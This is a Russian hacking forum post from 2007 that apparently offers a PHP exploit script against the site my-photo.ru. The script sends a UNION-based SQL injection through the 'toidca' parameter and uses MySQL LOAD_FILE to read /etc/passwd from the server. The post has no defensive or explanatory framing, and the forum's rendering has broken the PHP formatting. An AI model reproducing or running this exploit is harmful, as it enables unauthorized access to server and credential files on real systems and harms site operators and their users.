Показать сообщение отдельно

My-photo.ru Local Include Imitation
  #1  
Старый 16.01.2007, 02:06
LAMAREZ
Новичок
Регистрация: 16.01.2006
Сообщений: 24
С нами: 10692545

Репутация: 63
По умолчанию My-photo.ru Local Include Imitation

PHP код:
<?
 
echo "<pre>\n";
 @
set_time_limit(0);
 @
ini_set("display_errors","0");
 
$hostname gethostbyname('my-photo.ru');
 function 
loadfile($loadfile)
 {
  global 
$hostname;
  
$responce "";
  
$fsock    fsockopen($hostname,80,$errnum,$errstr,2);
  
$headers  "GET http://my-photo.ru/index.php?k=sendem&toidca=999999+union+select+1,CONCAT(CHAR(60,115,113,108,105,110,106,62),LOAD_FILE('$loadfile'),CHAR(60,47,115,113,108,105,110,106,62)) HTTP/1.1\n";
  
$headers .= "Host: my-photo.ru\n";
  
$headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n";
  
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
  
$headers .= "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\n";
  
$headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\n";
  
$headers .= "Keep-Alive: 500\n";
  
$headers .= "Connection: close\n";
  
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
  
fwrite   ($fsock,$headers);
  while    (!
feof($fsock)) $responce .= fread($fsock,1024); 
  
fclose   ($fsock);
 
$patern "#<[\s]*sqlinj[\s]*>([^<]*)<[\s]*/sqlinj[\s]*>#i";
 if(
preg_match($patern$responce$rez)) echo $rez[1]; else echo 'Something not right...';
//echo $responce;
}
loadfile("/etc/passwd");
echo 
"</pre>";
?>
 
Ответить с цитированием